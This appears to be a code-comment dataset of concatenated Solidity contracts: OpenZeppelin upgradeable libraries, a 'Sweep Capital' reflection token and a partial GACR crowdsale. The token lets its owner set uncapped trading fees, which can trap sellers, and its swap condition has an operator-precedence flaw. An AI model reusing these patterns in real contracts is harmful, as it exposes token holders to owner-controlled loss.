function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
uint256[45] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library CountersUpgradeable {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/IGovernorTimelock.sol)
pragma solidity ^0.8.0;
import "../IGovernorUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Extension of the {IGovernor} for timelock supporting modules.
*
* _Available since v4.3._
*/
abstract contract IGovernorTimelockUpgradeable is Initializable, IGovernorUpgradeable {
function __IGovernorTimelock_init() internal onlyInitializing {
__IGovernor_init_unchained();
__IGovernorTimelock_init_unchained();
}
function __IGovernorTimelock_init_unchained() internal onlyInitializing {
}
event ProposalQueued(uint256 proposalId, uint256 eta);
function timelock() public view virtual returns (address);
function proposalEta(uint256 proposalId) public view virtual returns (uint256);
function queue(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public virtual returns (uint256 proposalId);
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/compatibility/IGovernorCompatibilityBravo.sol)
pragma solidity ^0.8.0;
import "../IGovernorUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Interface extension that adds missing functions to the {Governor} core to provide `GovernorBravo` compatibility.
*
* _Available since v4.3._
*/
abstract contract IGovernorCompatibilityBravoUpgradeable is Initializable, IGovernorUpgradeable {
function __IGovernorCompatibilityBravo_init() internal onlyInitializing {
__IGovernor_init_unchained();
__IGovernorCompatibilityBravo_init_unchained();
}
function __IGovernorCompatibilityBravo_init_unchained() internal onlyInitializing {
}
/**
* @dev Proposal structure from Compound Governor Bravo. Not actually used by the compatibility layer, as
* {{proposal}} returns a very different structure.
*/
struct Proposal {
uint256 id;
address proposer;
uint256 eta;
address[] targets;
uint256[] values;
string[] signatures;
bytes[] calldatas;
uint256 startBlock;
uint256 endBlock;
uint256 forVotes;
uint256 againstVotes;
uint256 abstainVotes;
bool canceled;
bool executed;
mapping(address => Receipt) receipts;
}
/**
* @dev Receipt structure from Compound Governor Bravo
*/
struct Receipt {
bool hasVoted;
uint8 support;
uint96 votes;
}
/**
* @dev Part of the Governor Bravo's interface.
*/
function quorumVotes() public view virtual returns (uint256);
/**
* @dev Part of the Governor Bravo's interface: _"The official record of all proposals ever proposed"_.
*/
function proposals(uint256)
public
view
virtual
returns (
uint256 id,
address proposer,
uint256 eta,
uint256 startBlock,
uint256 endBlock,
uint256 forVotes,
uint256 againstVotes,
uint256 abstainVotes,
bool canceled,
bool executed
);
/**
* @dev Part of the Governor Bravo's interface: _"Function used to propose a new proposal"_.
*/
function propose(
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
) public virtual returns (uint256);
/**
* @dev Part of the Governor Bravo's interface: _"Queues a proposal of state succeeded"_.
*/
function queue(uint256 proposalId) public virtual;
/**
* @dev Part of the Governor Bravo's interface: _"Executes a queued proposal if eta has passed"_.
*/
function execute(uint256 proposalId) public payable virtual;
/**
* @dev Cancels a proposal only if sender is the proposer, or proposer delegates dropped below proposal threshold.
*/
function cancel(uint256 proposalId) public virtual;
/**
* @dev Part of the Governor Bravo's interface: _"Gets actions of a proposal"_.
*/
function getActions(uint256 proposalId)
public
view
virtual
returns (
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas
);
/**
* @dev Part of the Governor Bravo's interface: _"Gets the receipt for a voter on a given proposal"_.
*/
function getReceipt(uint256 proposalId, address voter) public view virtual returns (Receipt memory);
uint256[50] private __gap;
}
|
Read the voting weight from the token's built in snapshot mechanism (see {IGovernor-getVotes})./
|
function getVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) {
return token.getPriorVotes(account, blockNumber);
}
uint256[50] private __gap;
| 636,946
|
/**
*Submitted for verification at Etherscan.io on 2022-02-26
*/
pragma solidity ^0.8.12;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier:MIT
// ERC20 token standard interface
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Dex Factory contract interface
interface IUniswapFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
// Dex Router02 contract interface
interface IUniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// Main token Contract
contract SweepCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
// all private variables and functions are only for contract use
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10 * 1e7 * 1e9; // 100 Million total supply
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public maxHodingAmount = 2000000000000001; //2% of 100 Million
string private _name = "Sweep Capital"; // token name
string private _symbol = "SWEEP"; // token ticker
uint8 private _decimals = 9; // token decimals
IUniswapRouter public dexRouter; // Dex router address
address public dexPair; // LP token address
mapping(address => bool) private _isUniswapPair;
address payable public teamWallet; //team wallet
bool public reflectionFees = true; // should be false to charge fee
// Normal sell tax fee
uint256 public _holderRedistributionFee = 40; // 4% will be distributed among holder as token divideneds
uint256 public _teamWalletFee = 60; // 6% will be added to the team pool
// for smart contract use
uint256 private _currentRedistributionFee;
uint256 private _currentTeamWalletFee;
//for buy back
uint256 private _numOfTokensToExchangeForTeam = 100*10**9;
bool private inSwap;
bool public swapEnabled = true;
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
// constructor for initializing the contract
constructor( ) {
_rOwned[owner()] = _rTotal;
teamWallet = payable(0x030f38B50F11E3B580c952792904F0907b5702b6);
IUniswapRouter _dexRouter = IUniswapRouter(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
// Create a Dex pair for this new token
dexPair = IUniswapFactory(_dexRouter.factory()).createPair(
address(this),
_dexRouter.WETH()
);
// set the rest of the contract variables
dexRouter = _dexRouter;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[teamWallet] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), owner(), _tTotal);
}
// token standards by Blockchain
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address _account)
public
view
override
returns (uint256)
{
return tokenFromReflection(_rOwned[_account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
// public view able functions
// to check wether the address is excluded from fee or not
function isExcludedFromFee(address _account) public view returns (bool) {
return _isExcludedFromFee[_account];
}
// to check how much tokens get redistributed among holders till now
function totalHolderDistribution() public view returns (uint256) {
return _tFeeTotal;
}
// For manual distribution to the holders
function deliver(uint256 tAmount) public {
address sender = _msgSender();
uint256 rAmount = tAmount.mul(_getRate());
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"ERC20: Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
//to receive ETH from dexRouter when swapping
receive() external payable {}
// internal functions for contract use
function totalFeePerTx(uint256 tAmount) internal view returns (uint256) {
uint256 percentage = tAmount
.mul(
_currentRedistributionFee
.add(_currentTeamWalletFee)
)
.div(1e3);
return percentage;
}
function _getRate() private view returns (uint256) {
return _rTotal.div(_tTotal);
}
function removeAllFee() private {
_currentRedistributionFee = 0;
_currentTeamWalletFee = 0;
}
function setTaxationFee() private {
_currentRedistributionFee = _holderRedistributionFee;
_currentTeamWalletFee = _teamWalletFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// base function to transafer tokens
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "ERC20: transfer amount must be greater than zero");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular team event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > maxHodingAmount) {
contractTokenBalance = maxHodingAmount;
}
bool overMinTokenBalance = contractTokenBalance >_numOfTokensToExchangeForTeam;
if (
!inSwap &&
swapEnabled &&
overMinTokenBalance &&
from != dexPair || _isUniswapPair[from]
)
{
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = false;
// take fee only on swaps
if (
(from == dexPair ||
to == dexPair ||
_isUniswapPair[to] ||
_isUniswapPair[from]) &&
!(_isExcludedFromFee[from] || _isExcludedFromFee[to])
) {
takeFee = true;
}
if(!(from == owner() || to == owner())){
//check balance for other not the dex.
if(to!=dexPair && !_isUniswapPair[to] && !_isExcludedFromFee[to]){
require(amount + balanceOf(to) < maxHodingAmount, "ERC20:Wallet Cannot hold more than 2% of total supply.");
}
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from, to, amount, takeFee);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if((recipient == dexPair || sender == dexPair ) && takeFee ){
setTaxationFee();
}
else{
removeAllFee();
}
_transferStandard(sender, recipient, amount);
}
// if both sender and receiver are not excluded from reward
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
uint256 currentRate = _getRate();
uint256 tTransferAmount = tAmount.sub(totalFeePerTx(tAmount));
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(
totalFeePerTx(tAmount).mul(currentRate)
);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeamWalletFee(tAmount, currentRate);
_reflectFee(tAmount);
emit Transfer(sender, recipient, tTransferAmount);
}
// take fees for teamWallet
function _takeTeamWalletFee(
uint256 tAmount,
uint256 currentRate
) internal {
uint256 tFee = tAmount.mul(_currentTeamWalletFee).div(1e3);
uint256 rFee = tFee.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rFee);
}
// for automatic redistribution among all holders on each tx
function _reflectFee(uint256 tAmount) private {
uint256 tFee = tAmount.mul(_currentRedistributionFee).div(1e3);
uint256 rFee = tFee.mul(_getRate());
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = dexRouter.WETH();
_approve(address(this), address(dexRouter), tokenAmount);
// make the swap
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToTeam(uint256 amount) private {
(bool os, ) = payable(teamWallet).call{value: amount}("");
require(os);
}
function isUniswapPair(address _pair) external view returns (bool) {
if (_pair == dexPair) return true;
return _isUniswapPair[_pair];
}
function addUniswapPair(address _pair) external onlyOwner {
_isUniswapPair[_pair] = true;
}
function removeUniswapPair(address _pair) external onlyOwner {
_isUniswapPair[_pair] = false;
}
// owner can change router and pair address
function setRoute(IUniswapRouter _router, address _pair) external onlyOwner {
dexRouter = _router;
dexPair = _pair;
}
//input 10 for 1 percent
function setRedistributionFee(uint256 _fee) external onlyOwner {
_holderRedistributionFee = _fee;
}
//input 10 for 1 percent
function setTeamWalletFee(uint256 _teamFee) external onlyOwner {
_teamWalletFee = _teamFee;
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
}
function flipSwapEnable() external onlyOwner{
if(swapEnabled)
swapEnabled = false;
else
swapEnabled = true;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
for automatic redistribution among all holders on each tx
|
function _reflectFee(uint256 tAmount) private {
uint256 tFee = tAmount.mul(_currentRedistributionFee).div(1e3);
uint256 rFee = tFee.mul(_getRate());
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
| 2,205,652
|
//Address: 0x3d63da14a12a559ad081f291ae3a6f34d69be159
//Contract name: Crowdsale
//Balance: 0 Ether
//Verification Date: 6/24/2018
//Transacion Count: 1
// CODE STARTS HERE
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface GACR {
function transfer(address to, uint256 value) external returns (bool);
function mint(address _to, uint256 _amount) external returns (bool);
function finishMinting() external returns (bool);
function totalSupply() external view returns (uint256);
function setTeamAddress(address _teamFund) external;
function transferOwnership(address newOwner) external;
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
// ICO stage
enum CrowdsaleStage { PreICO, ICO }
CrowdsaleStage public stage = CrowdsaleStage.PreICO; // By default it's Pre Sale
// Token distribution
uint256 public constant maxTokens = 50000000*1e18; // max of GACR tokens
uint256 public constant tokensForSale = 28500000*1e18; // 57%
uint256 public constant tokensForBounty = 1500000*1e18; // 3%
uint256 public constant tokensForAdvisors = 3000000*1e18; // 6%
uint256 public constant tokensForTeam = 9000000*1e18; // 18%
uint256 public tokensForEcosystem = 8000000*1e18; // 16%
// Start & End time of Crowdsale
uint256 startTime = 1522494000; // 2018-03-31T11:00:00
uint256 endTime = 1539169200; // 2018-10-10T11:00:00
// The token being sold
GACR public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
// Limit for total contributions
uint256 public cap;
// KYC for ICO
mapping(address => bool) public whitelist;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* @dev Event for whitelist update
* @param purchaser who add to whitelist
* @param status of purchased for whitelist
*/
event WhitelistUpdate(address indexed purchaser, bool status);
/**
* @dev Event for crowdsale finalize
*/
event Finalized();
/**
* @param _cap ether cap for Crowdsale
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
*/
constructor(uint256 _cap, uint256 _rate, address _wallet, address _token) public {
require(_cap > 0);
require(_rate > 0);
require(_wallet != address(0));
cap = _cap;
rate = _rate;
wallet = _wallet;
token = GACR(_token);
}
/**
* @dev Check that sale is on
*/
modifier saleIsOn() {
require(now > startTime && now < endTime);
_;
}
//note: only for test
//function setNowTime(uint value) public onlyOwner {
// require(value != 0);
// _nowTime = value;
//}
/**
* @dev Buy tokens
*/
function buyTokens(address _beneficiary) saleIsOn public payable {
uint256 _weiAmount = msg.value;
require(_beneficiary != address(0));
require(_weiAmount != 0);
require(weiRaised.add(_weiAmount) <= cap);
require(stage==CrowdsaleStage.PreICO ||
(stage==CrowdsaleStage.ICO && isWhitelisted(_beneficiary)));
// calculate token amount to be created
uint256 _tokenAmount = _weiAmount.mul(rate);
// bonus calculation
uint256 bonusTokens = 0;
if (stage == CrowdsaleStage.PreICO) {
if (_tokenAmount >= 50e18 && _tokenAmount < 3000e18) {
bonusTokens = _tokenAmount.mul(23).div(100);
} else if (_tokenAmount >= 3000e18 && _tokenAmount < 15000e18) {
bonusTokens = _tokenAmount.mul(27).div(100);
} else if (_tokenAmount >= 15000e18 && _tokenAmount < 30000e18) {
bonusTokens = _tokenAmount.mul(30).div(100);
} else if (_tokenAmount >= 30000e18) {
bonusTokens = _tokenAmount.mul(35).div(100);
}
} else if (stage == CrowdsaleStage.ICO) {
uint256 _nowTime = now;
if (_nowTime >= 1531486800 && _nowTime < 1532696400) {
bonusTokens = _tokenAmount.mul(18).div(100);
} else if (_nowTime >= 1532696400 && _nowTime < 1533906000) {
bonusTokens = _tokenAmount.mul(15).div(100);
} else if (_nowTime >= 1533906000 && _nowTime < 1535115600) {
bonusTokens = _tokenAmount.mul(12).div(100);
} else if (_nowTime >= 1535115600 && _nowTime < 1536325200) {
bonusTokens = _tokenAmount.mul(9).div(100);
} else if (_nowTime >= 1536325200 && _nowTime < 1537534800) {
bonusTokens = _tokenAmount.mul(6).div(100);
} else if (_nowTime >= 1537534800 && _nowTime < endTime) {
bonusTokens = _tokenAmount.mul(3).div(100);
}
}
_tokenAmount += bonusTokens;
// check limit for sale
require(tokensForSale >= (token.totalSupply() + _tokenAmount));
// update state
weiRaised = weiRaised.add(_weiAmount);
token.mint(_beneficiary, _tokenAmount);
emit TokenPurchase(msg.sender, _beneficiary, _weiAmount, _tokenAmount);
wallet.transfer(_weiAmount);
}
/**
* @dev Payable function
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev Change Crowdsale Stage.
* Options: PreICO, ICO
*/
function setCrowdsaleStage(uint value) public onlyOwner {
CrowdsaleStage _stage;
if (uint256(CrowdsaleStage.PreICO) == value) {
_stage = CrowdsaleStage.PreICO;
} else if (uint256(CrowdsaleStage.ICO) == value) {
_stage = CrowdsaleStage.ICO;
}
stage = _stage;
}
/**
* @dev Set new rate (protection from strong volatility)
*/
function setNewRate(uint _newRate) public onlyOwner {
require(_newRate > 0);
rate = _newRate;
}
/**
* @dev Set hard cap (protection from strong volatility)
*/
function setHardCap(uint256 _newCap) public onlyOwner {
require(_newCap > 0);
cap = _newCap;
}
/**
* @dev Set new wallet
*/
function changeWallet(address _newWallet) public onlyOwner {
require(_newWallet != address(0));
wallet = _newWallet;
}
/**
* @dev Add/Remove to whitelist array of addresses based on boolean status
*/
function updateWhitelist(address[] addresses, bool status) public onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
address contributorAddress = addresses[i];
whitelist[contributorAddress] = status;
emit WhitelistUpdate(contributorAddress, status);
}
}
/**
* @dev Check that address is exist in whitelist
*/
function isWhitelisted(address contributor) public constant returns (bool) {
return whitelist[contributor];
}
/**
* @dev Function to mint tokens
*/
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
return token.mint(_to, _amount);
}
/**
* @dev Return ownership to previous owner
*/
function returnOwnership() onlyOwner public returns (bool) {
token.transferOwnership(owner);
}
/**
* @dev Finish Crowdsale
*/
function finish(address _bountyFund, address _advisorsFund, address _ecosystemFund, address _teamFund) public onlyOwner {
